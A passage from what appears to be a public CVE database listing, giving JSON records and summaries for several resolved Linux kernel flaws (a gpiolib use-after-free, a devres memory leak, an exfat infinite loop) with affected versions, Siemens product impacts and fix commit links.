              "status": "affected",
              "version": "51c1064e82e77b39a49889287ca50709303e2f26",
              "versionType": "git"
            },
            {
              "lessThan": "02f6b0e1ec7e0e7d059dddc893645816552039da",
              "status": "affected",
              "version": "51c1064e82e77b39a49889287ca50709303e2f26",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/gpio/gpiolib-cdev.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.7"
            },
            {
              "lessThan": "5.7",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.234",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.177",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.127",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.31",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.10",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.234",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.177",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.127",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.31",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.10",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ngpiolib: cdev: Fix use after free in lineinfo_changed_notify\n\nThe use-after-free issue occurs as follows: when the GPIO chip device file\nis being closed by invoking gpio_chrdev_release(), watched_lines is freed\nby bitmap_free(), but the unregistration of lineinfo_changed_nb notifier\nchain failed due to waiting write rwsem. Additionally, one of the GPIO\nchip\u0027s lines is also in the release process and holds the notifier chain\u0027s\nread rwsem. Consequently, a race condition leads to the use-after-free of\nwatched_lines.\n\nHere is the typical stack when issue happened:\n\n[free]\ngpio_chrdev_release()\n  --\u003e bitmap_free(cdev-\u003ewatched_lines)                  \u003c-- freed\n  --\u003e blocking_notifier_chain_unregister()\n    --\u003e down_write(\u0026nh-\u003erwsem)                          \u003c-- waiting rwsem\n          --\u003e __down_write_common()\n            --\u003e rwsem_down_write_slowpath()\n                  --\u003e schedule_preempt_disabled()\n                    --\u003e schedule()\n\n[use]\nst54spi_gpio_dev_release()\n  --\u003e gpio_free()\n    --\u003e gpiod_free()\n      --\u003e gpiod_free_commit()\n        --\u003e gpiod_line_state_notify()\n          --\u003e blocking_notifier_call_chain()\n            --\u003e down_read(\u0026nh-\u003erwsem);                  \u003c-- held rwsem\n            --\u003e notifier_call_chain()\n              --\u003e lineinfo_changed_notify()\n                --\u003e test_bit(xxxx, cdev-\u003ewatched_lines) \u003c-- use after free\n\nThe side effect of the use-after-free issue is that a GPIO line event is\nbeing generated for userspace where it shouldn\u0027t. However, since the chrdev\nis being closed, userspace won\u0027t have the chance to read that event anyway.\n\nTo fix the issue, call the bitmap_free() function after the unregistration\nof lineinfo_changed_nb notifier chain."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:16:38.977Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/2dfbb920a89bdc58087672ad5325dc6c588b6860"
        },
        {
          "url": "https://git.kernel.org/stable/c/2d008d4961b039d2edce8976289773961b7e5fb5"
        },
        {
          "url": "https://git.kernel.org/stable/c/d38c49f7bdf14381270736299e2ff68ec248a017"
        },
        {
          "url": "https://git.kernel.org/stable/c/95ca7c90eaf5ea8a8460536535101e3e81160e2a"
        },
        {
          "url": "https://git.kernel.org/stable/c/ca710b5f40b8b16fdcad50bebd47f50e4c62d239"
        },
        {
          "url": "https://git.kernel.org/stable/c/02f6b0e1ec7e0e7d059dddc893645816552039da"
        }
      ],
      "title": "gpiolib: cdev: Fix use after free in lineinfo_changed_notify",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-36899",
    "datePublished": "2024-05-30T15:29:02.591Z",
    "dateReserved": "2024-05-30T15:25:07.066Z",
    "dateUpdated": "2026-05-12T11:53:59.615Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-43871 (GCVE-0-2024-43871)

Vulnerability from cvelistv5 – Published: 2024-08-21 00:06 – Updated: 2026-05-12 11:57

Title

devres: Fix memory leakage caused by driver API devm_free_percpu()

Summary

In the Linux kernel, the following vulnerability has been resolved: devres: Fix memory leakage caused by driver API devm_free_percpu() It will cause memory leakage when use driver API devm_free_percpu() to free memory allocated by devm_alloc_percpu(), fixed by using devres_release() instead of devres_destroy() within devm_free_percpu().

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/700e8abd65b10792b…
https://git.kernel.org/stable/c/b044588a16a978cd8…
https://git.kernel.org/stable/c/ef56dcdca8f2a53ab…
https://git.kernel.org/stable/c/3047f99caec240a88…
https://git.kernel.org/stable/c/3dcd0673e47664bc6…
https://git.kernel.org/stable/c/b67552d7c61f52f12…
https://git.kernel.org/stable/c/95065edb8ebb27771…
https://git.kernel.org/stable/c/bd50a974097bb82d5…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: ff86aae3b4112b85d2231c23bccbc49589df1c06 , < 700e8abd65b10792b2f179ce4e858f2ca2880f85 (git) Affected: ff86aae3b4112b85d2231c23bccbc49589df1c06 , < b044588a16a978cd891cb3d665dd7ae06850d5bf (git) Affected: ff86aae3b4112b85d2231c23bccbc49589df1c06 , < ef56dcdca8f2a53abc3a83d388b8336447533d85 (git) Affected: ff86aae3b4112b85d2231c23bccbc49589df1c06 , < 3047f99caec240a88ccd06197af2868da1af6a96 (git) Affected: ff86aae3b4112b85d2231c23bccbc49589df1c06 , < 3dcd0673e47664bc6c719ad47dadac6d55d5950d (git) Affected: ff86aae3b4112b85d2231c23bccbc49589df1c06 , < b67552d7c61f52f1271031adfa7834545ae99701 (git) Affected: ff86aae3b4112b85d2231c23bccbc49589df1c06 , < 95065edb8ebb27771d5f1e898eef6ab43dc6c87c (git) Affected: ff86aae3b4112b85d2231c23bccbc49589df1c06 , < bd50a974097bb82d52a458bd3ee39fb723129a0c (git)
Linux	Linux	Affected: 4.10 Unaffected: 0 , < 4.10 (semver) Unaffected: 4.19.320 , ≤ 4.19.* (semver) Unaffected: 5.4.282 , ≤ 5.4.* (semver) Unaffected: 5.10.224 , ≤ 5.10.* (semver) Unaffected: 5.15.165 , ≤ 5.15.* (semver) Unaffected: 6.1.103 , ≤ 6.1.* (semver) Unaffected: 6.6.44 , ≤ 6.6.* (semver) Unaffected: 6.10.3 , ≤ 6.10.* (semver) Unaffected: 6.11 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-43871",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T16:06:19.881196Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-12T17:33:18.604Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:06:21.787Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00003.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:57:06.554Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/base/devres.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "700e8abd65b10792b2f179ce4e858f2ca2880f85",
              "status": "affected",
              "version": "ff86aae3b4112b85d2231c23bccbc49589df1c06",
              "versionType": "git"
            },
            {
              "lessThan": "b044588a16a978cd891cb3d665dd7ae06850d5bf",
              "status": "affected",
              "version": "ff86aae3b4112b85d2231c23bccbc49589df1c06",
              "versionType": "git"
            },
            {
              "lessThan": "ef56dcdca8f2a53abc3a83d388b8336447533d85",
              "status": "affected",
              "version": "ff86aae3b4112b85d2231c23bccbc49589df1c06",
              "versionType": "git"
            },
            {
              "lessThan": "3047f99caec240a88ccd06197af2868da1af6a96",
              "status": "affected",
              "version": "ff86aae3b4112b85d2231c23bccbc49589df1c06",
              "versionType": "git"
            },
            {
              "lessThan": "3dcd0673e47664bc6c719ad47dadac6d55d5950d",
              "status": "affected",
              "version": "ff86aae3b4112b85d2231c23bccbc49589df1c06",
              "versionType": "git"
            },
            {
              "lessThan": "b67552d7c61f52f1271031adfa7834545ae99701",
              "status": "affected",
              "version": "ff86aae3b4112b85d2231c23bccbc49589df1c06",
              "versionType": "git"
            },
            {
              "lessThan": "95065edb8ebb27771d5f1e898eef6ab43dc6c87c",
              "status": "affected",
              "version": "ff86aae3b4112b85d2231c23bccbc49589df1c06",
              "versionType": "git"
            },
            {
              "lessThan": "bd50a974097bb82d52a458bd3ee39fb723129a0c",
              "status": "affected",
              "version": "ff86aae3b4112b85d2231c23bccbc49589df1c06",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/base/devres.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.10"
            },
            {
              "lessThan": "4.10",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.320",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.282",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.224",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.165",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.103",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.44",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.11",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.320",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.282",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.224",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.165",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.103",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.44",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.3",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndevres: Fix memory leakage caused by driver API devm_free_percpu()\n\nIt will cause memory leakage when use driver API devm_free_percpu()\nto free memory allocated by devm_alloc_percpu(), fixed by using\ndevres_release() instead of devres_destroy() within devm_free_percpu()."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:31:26.406Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/700e8abd65b10792b2f179ce4e858f2ca2880f85"
        },
        {
          "url": "https://git.kernel.org/stable/c/b044588a16a978cd891cb3d665dd7ae06850d5bf"
        },
        {
          "url": "https://git.kernel.org/stable/c/ef56dcdca8f2a53abc3a83d388b8336447533d85"
        },
        {
          "url": "https://git.kernel.org/stable/c/3047f99caec240a88ccd06197af2868da1af6a96"
        },
        {
          "url": "https://git.kernel.org/stable/c/3dcd0673e47664bc6c719ad47dadac6d55d5950d"
        },
        {
          "url": "https://git.kernel.org/stable/c/b67552d7c61f52f1271031adfa7834545ae99701"
        },
        {
          "url": "https://git.kernel.org/stable/c/95065edb8ebb27771d5f1e898eef6ab43dc6c87c"
        },
        {
          "url": "https://git.kernel.org/stable/c/bd50a974097bb82d52a458bd3ee39fb723129a0c"
        }
      ],
      "title": "devres: Fix memory leakage caused by driver API devm_free_percpu()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-43871",
    "datePublished": "2024-08-21T00:06:22.964Z",
    "dateReserved": "2024-08-17T09:11:59.280Z",
    "dateUpdated": "2026-05-12T11:57:06.554Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-57940 (GCVE-0-2024-57940)

Vulnerability from cvelistv5 – Published: 2025-01-21 12:18 – Updated: 2026-05-12 12:01

Title

exfat: fix the infinite loop in exfat_readdir()

Summary

In the Linux kernel, the following vulnerability has been resolved: exfat: fix the infinite loop in exfat_readdir() If the file system is corrupted so that a cluster is linked to itself in the cluster chain, and there is an unused directory entry in the cluster, 'dentry' will not be incremented, causing condition 'dentry < max_dentries' unable to prevent an infinite loop. This infinite loop causes s_lock not to be released, and other tasks will hang, such as exfat_sync_fs(). This commit stops traversing the cluster chain when there is unused directory entry in the cluster to avoid this infinite loop.

Severity ?

No CVSS data available.

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/d8cfbb8723bd3d322…
https://git.kernel.org/stable/c/28c21f0ac5293a4bf…
https://git.kernel.org/stable/c/31beabd0f47f8c3ed…
https://git.kernel.org/stable/c/dc1d7afceb982e8f6…
https://git.kernel.org/stable/c/d9ea94f5cd117d56e…
https://git.kernel.org/stable/c/fee873761bd978d07…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: ca06197382bde0a3bc20215595d1c9ce20c6e341 , < d8cfbb8723bd3d3222f360227a1cc15227189ca6 (git) Affected: ca06197382bde0a3bc20215595d1c9ce20c6e341 , < 28c21f0ac5293a4bf19b3e0e32005d6dd31a6c17 (git) Affected: ca06197382bde0a3bc20215595d1c9ce20c6e341 , < 31beabd0f47f8c3ed9965ba861c9e5b252d4920a (git) Affected: ca06197382bde0a3bc20215595d1c9ce20c6e341 , < dc1d7afceb982e8f666e70a582e6b5aa806de063 (git) Affected: ca06197382bde0a3bc20215595d1c9ce20c6e341 , < d9ea94f5cd117d56e573696d0045ab3044185a15 (git) Affected: ca06197382bde0a3bc20215595d1c9ce20c6e341 , < fee873761bd978d077d8c55334b4966ac4cb7b59 (git)
Linux	Linux	Affected: 5.7 Unaffected: 0 , < 5.7 (semver) Unaffected: 5.10.234 , ≤ 5.10.* (semver) Unaffected: 5.15.177 , ≤ 5.15.* (semver) Unaffected: 6.1.125 , ≤ 6.1.* (semver) Unaffected: 6.6.72 , ≤ 6.6.* (semver) Unaffected: 6.12.10 , ≤ 6.12.* (semver) Unaffected: 6.13 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T20:56:09.764Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - BIOS",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:01:40.296Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-503939.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/exfat/dir.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "d8cfbb8723bd3d3222f360227a1cc15227189ca6",
              "status": "affected",
              "version": "ca06197382bde0a3bc20215595d1c9ce20c6e341",
              "versionType": "git"
            },
            {
              "lessThan": "28c21f0ac5293a4bf19b3e0e32005d6dd31a6c17",
              "status": "affected",
              "version": "ca06197382bde0a3bc20215595d1c9ce20c6e341",
              "versionType": "git"
            },
            {
              "lessThan": "31beabd0f47f8c3ed9965ba861c9e5b252d4920a",
              "status": "affected",
              "version": "ca06197382bde0a3bc20215595d1c9ce20c6e341",
              "versionType": "git"
            },
            {
              "lessThan": "dc1d7afceb982e8f666e70a582e6b5aa806de063",
              "status": "affected",
              "version": "ca06197382bde0a3bc20215595d1c9ce20c6e341",
              "versionType": "git"
            },
            {
              "lessThan": "d9ea94f5cd117d56e573696d0045ab3044185a15",
              "status": "affected",
              "version": "ca06197382bde0a3bc20215595d1c9ce20c6e341",
              "versionType": "git"
            },
            {
              "lessThan": "fee873761bd978d077d8c55334b4966ac4cb7b59",
              "status": "affected",
              "version": "ca06197382bde0a3bc20215595d1c9ce20c6e341",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/exfat/dir.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.7"
            },
            {
              "lessThan": "5.7",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.234",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.177",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.125",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.72",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.10",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.13",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.234",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.177",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.125",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.72",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.10",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nexfat: fix the infinite loop in exfat_readdir()\n\nIf the file system is corrupted so that a cluster is linked to\nitself in the cluster chain, and there is an unused directory\nentry in the cluster, \u0027dentry\u0027 will not be incremented, causing\ncondition \u0027dentry \u003c max_dentries\u0027 unable to prevent an infinite\nloop.\n\nThis infinite loop causes s_lock not to be released, and other\ntasks will hang, such as exfat_sync_fs().\n\nThis commit stops traversing the cluster chain when there is unused\ndirectory entry in the cluster to avoid this infinite loop."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:01:04.019Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/d8cfbb8723bd3d3222f360227a1cc15227189ca6"
        },
        {
          "url": "https://git.kernel.org/stable/c/28c21f0ac5293a4bf19b3e0e32005d6dd31a6c17"
        },
        {
          "url": "https://git.kernel.org/stable/c/31beabd0f47f8c3ed9965ba861c9e5b252d4920a"
        },
        {
          "url": "https://git.kernel.org/stable/c/dc1d7afceb982e8f666e70a582e6b5aa806de063"
        },
        {
          "url": "https://git.kernel.org/stable/c/d9ea94f5cd117d56e573696d0045ab3044185a15"
        },
        {
          "url": "https://git.kernel.org/stable/c/fee873761bd978d077d8c55334b4966ac4cb7b59"
        }
      ],
      "title": "exfat: fix the infinite loop in exfat_readdir()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-57940",
    "datePublished": "2025-01-21T12:18:09.150Z",
    "dateReserved": "2025-01-19T11:50:08.378Z",
    "dateUpdated": "2026-05-12T12:01:40.296Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-50035 (GCVE-0-2024-50035)

Vulnerability from cvelistv5 – Published: 2024-10-21 19:39 – Updated: 2026-05-12 11:59

Title

ppp: fix ppp_async_encode() illegal access

Summary

